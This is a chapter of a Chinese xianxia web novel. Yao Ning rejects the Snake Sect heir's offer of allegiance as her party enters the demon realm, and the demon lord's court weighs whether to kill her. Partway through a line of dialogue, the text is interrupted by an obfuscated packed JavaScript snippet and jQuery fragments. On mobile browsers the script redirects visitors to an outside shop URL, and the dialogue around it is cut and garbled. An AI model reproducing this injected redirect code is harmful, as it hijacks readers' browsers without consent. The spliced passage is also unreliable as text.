45. 第 45 章

    尧宁看向蛇降。


    女子眼珠大而黑,眉眼清艳,望过来的目光沉静无波,像是静水流深,其间却蕴含无数湍急暗流。


    蛇降在这样目光的注视下,不足几息,便感觉头皮发麻。


    他缓缓吐息,尽量忍住避开视线的冲动。


    尧宁只是静静看着他。


    蛇降知道,若自己猜测没错的话,这样骤然告知对方,就是自寻死路。


    尧宁修为远在他之上,她可以无声无息地杀了他,此后这个秘密再无第二人知晓。


    但他在赌另一条路。


    “仙子。”蛇降深吸一口气,“我南域蛇宗,愿追寻仙子,共襄大业。”


    话语掷地有声,蛇降紧张地期待尧宁的反应。


    尧宁的目光仍平静,她一语不发,像是面具陡然被人揭开,在用另一副隐藏依旧的面孔审视胆大妄为的鼠辈。


    蛇降掌心出了汗。


    与蛇同修,二者□□神魂渐渐趋同,蛇是冷血动物,而他感到了久违的恐惧与不安。


    良久,尧宁道:“哦?为何?”


    为何愿意追随她?


    蛇降知道这个问题很重要,今日他一人生死,日后南域蛇窟的兴衰,都始自这个回答。


    他不敢撒谎,如实道:“九洲皆知沈仙尊修为奇高,褚仙子天赋绝世,二者并称悬清双杰,可在下却觉得,他们皆不如仙子。”


    他小心观察尧宁神色,继续道:“南域蛇窟偏居一隅,为求兴盛,必要选择最强大的盟友。”


    尧宁神色仍是平淡,蛇降咬了咬牙:“为表诚心,仙子可指定船上一人,今晚我带他人头来献。”


    这是要交投名状。


    一片寂静中,四下突然响起哗哗声,很快面上一片冰凉濡湿。


    尧宁仰头。


    天宇乌云环绕,无数雨丝坠入人间。


    循风印不知何时撑起,透明结界笼罩整个仙舟,光泽流转间,似与往日有所不同。


    她摇摇头道:“可惜我并非那个人,你的路走错了。”


    困倦来袭,她不欲多言,回了船舱抓紧时间倒头睡去。


    雨声变大,浇了蛇降一头一脸,他一时脊背冰冷,一时惊疑不定。


    远远看去,这人一动不动,似在雨中入了定


    仙舟晃荡片刻,在大雨中入了魔界。


    魔界亦在下雨。


    入口在船后无声阖上,一阵光过后,仿佛从来未曾存在过。


    靠近入口的是一个小小的村落,建在水上,亭台水榭,回廊曲折,岸边是青石板路,白墙黑瓦的屋子衬着摇曳的翠竹林,让人仿佛置身江南水乡。


    众人下了船。


    此次魔界之行,由资历最深的上凛然领导,他领着众人踏上石板路,循风印结界张开,指引魔尊所在之地。


    意外地,并不远。


    众人跟随上凛然前行。


    有此地村民与他们擦肩而过,只瞥了一眼,并不好奇这些外来之人。


    尧宁注意到村民精神都不济,甚至有人眼下有淡淡乌青。


    许是春末,又是雨天,无端让人觉得困倦,合该闭户听雨而眠。


    众人警惕着这些村民,村民却对他们浑不在意。


    尧宁走在队伍中间,王勉之与天枢派的女修原本跟在上凛然后面,慢慢落到了中间,一左一右夹着尧宁。


    王勉之打了个哈欠:“阿嫂,我保护你。”


    天枢派女修难以言喻地看了他一眼。


    尧宁:“多谢。”


    蛇降缀在尧宁后边不远处,时不时投来目光,尧宁只装作看不到。


    雨势转停,世界变的鲜亮。


    晶莹水珠从无数枝叶上相继滑落,深深浅浅的水洼倒映一队人走过的身影,湖面荡起一圈圈细小涟漪。


    目光,无数窥视的目光,四面八方,铺天盖地,避无可避。


    尧宁感到身上起了一层鸡皮疙瘩,按捺着不适继续前行。


    半晌后。


    “总感觉有人在看我们。”


    “是啊,我好像也感觉到了。”


    上凛然看了一圈:“我们已入魔界,魔尊神通广大,难免被注视。”


    尧宁感觉那些目光有如实质,密不透风地围拢过来,不适感越来越强烈,她心中烦躁野草一般滋长。


    忽然,她转过头,直直看向角落。


    王勉之顺着她目光看过去,角落只有一捧野草,叶尖一滴露珠,欲坠不坠,他疑惑道:“阿嫂,你在看什么?”


    “没什么。”


    尧宁收回目光。


    *


    魔尊宫殿内,虚空浮现的光影里,女子锐利目光猛地看过来,似是隔空与白苏对视。


    他玩味的目光一滞,在这一瞥下猛然警惕起来,下意识就想去抓刀柄。


    直到画面中,尧宁轻飘飘收回了视线,白苏才发现自己竟被这女人一眼看得紧张起来。


    他阴沉地揉了揉眉心。


    魔尊殿空旷,白骨磊成的柱石高达十几丈,磷火幽幽,照着三个身影。


    僵蚕大马金刀坐于上首,面上仍扣着那张细眉红唇女子面具,度无主长身玉立,风度翩翩,恭敬地侍立在右侧。


    白苏居左,懒洋洋坐着,眼睛一眨不眨地盯着虚空中的场景。


    “这些人,杀了么?”


    最开始出声的是白苏。


    度无主看了眼上首魔尊,道:“魔界数十年与人间秋毫无犯……”


    “你说的那是从前。”白苏打断他,“现在这些个人,都骑咱们头上来了。”


    魔尊没有出声,度无主便道:“他们来,定是要解释先前偷袭之事。这件事很有可能是有人幕后操纵,就盼着鹬蚌相争渔人得利,这些人现在还不能杀。”


    “啧,烦。”白苏皱眉,“这些正道修士,杀了;渔人来了,一同杀了便是。”


    “如此岂不正中渔者下怀,落入他的局中?”


    “若我根本不屑入不入局,非我族类尽皆屠尽呢?下次可寻不到这样送上门的好机会。”


    白苏挑了挑眉,越过虚空影像看向度无主:“你舍不得这些正道修者死,是因为她——”


    他伸出手,魔界入口的水村中,一滴雨点自天上落下,交错瞬间,将尧宁的脸在魔尊殿里瞬间放大。


    虚空中的投影里,女子静静往外凝视,一边嘴角勾起为微可见的弧度,轻蔑显露无余。


    “还是她呢——”


    队伍行过门前,惊起草丛里一只碧绿的青蛙,小东西一下子跳上墙头,四肢着地,鼓起的双眼一动不动对着路边。


    一个略显纤瘦的女孩出现在画面中央,四下打量,如小兽一样警觉而灵敏。


    只是片刻,一个气质儒雅的男人靠近了她,有意无意地遮住了青蛙视线,虚空中便只剩下一个宽阔的背影。


    度无主不动声色,泰然道:“我为的,自然是魔界的百年基业。”


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14588279|154737||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你人在魔界,却三番两次偏向正道那帮人,我见识短,不知这样算不算得真心?”


    当日中则混战,若非度无主放水,他早杀了尧宁,轮不到沈牵来救。


    白苏一直记着这个仇。


    高台上,一直岿然不动的魔尊偏了偏头,面具下的目光看向度无主。


    磷火摇晃,惨绿光芒落在度无主脸上,高鼻深目却不显难看,反倒映出那紧绷光滑的皮肤,如最温润的羊脂玉。


    “当日之事我问心无愧。”度无主从容不迫,震袖向魔尊一礼,“属下忠于魔界,忠于王位。尊上坐在上面一日,属下便忠于尊上一日。”


    他转向白苏:“若来日护法践位,我一样中心无二。”


    魔尊收回了视线。


    白苏挑了挑眉,意味深长看了眼度无主。


    “所以,这伙人放进来了,到底怎么处理?”


    他话问的是魔尊,目光却一直盯着画面中的尧宁。


    魔尊亦在看尧宁。


    “她有气运加身。”


    白苏皱了皱眉,凝神看去:“上次还不曾见。”


    “这样厉害的人,若能为我所用最好。”魔尊粗噶撕裂的声音从面具后逸出,“若不能,就杀了她。”


    度无主嘴唇动了动,却终究还是没再说什么。


    “先前的话还算数?”白苏来了精神,“杀了她,魔尊之位归我?”


    僵蚕细白面具转向他,居高临下看过来。


    “你能吗?”


    白苏眯了眯眼,怒火一下子腾起,却咬着牙笑了笑:“当日我盟友反水,他们夫妇两人打我一个,输了,是我无能。”


    “但今日么——”他看向画面中形单影只的女人,“单打独斗,尊上且看吧。”


    白苏懒洋洋的笑意中露出点残忍:“伤还没好全呢就敢来送死,再败,我索性给她当狗。”


    魔尊不置可否,看向画面中的尧宁,沉声道:“只是这里,却不是你随意便可来去之地。”


    度无主心中一沉。


    僵蚕道:“想见本尊,也得有这个资格。”


    *


    王勉之亦感受到了后边若有若无的视线。


    他转头看过去,恰对上一双艳丽双眼。


    蛇降点点头,若无其事移开目光。


    王勉之拧了眉,又看了两眼,问尧宁:“阿嫂,后边的可是南域蛇窟的少主蛇降?”


    尧宁:“怎么?”


    王勉之道:“我哥说这人曾对阿嫂无礼,让我盯着他点。”


    尧宁一梗,差点没忍住翻了白眼。


    “那你真盯?”


    “当然啦,总不能让阿嫂被别人抢了去。”他声音越来越低,“我哥现在没了你得死。”


    尧宁翻了白眼,快走两步离开王勉之。


    王勉之浑然不觉,气势汹汹地盯着蛇降。


    蛇降在这散发着杀意的眼神里,不断后退,最后缀在队伍末尾,这才堪堪让北冥宗的少主稍稍放松一点。


    他低垂着头,心中不断分析不久前尧宁所说的话,每句话的语气,用词,先后顺序,翻来覆去地揣摩细思。


    “她应该不是拒绝我的意思。”蛇降自言自语。


    忽然,他抬起头,全身汗毛炸起,瞳孔拉长成一条冰冷竖线。


    他闻到了极强的死亡气息。


    金黄瞬膜覆盖双眼,沉眠中的青蛇竖起三角舌头,吐出猩红蛇信。


    来自前方的尧宁。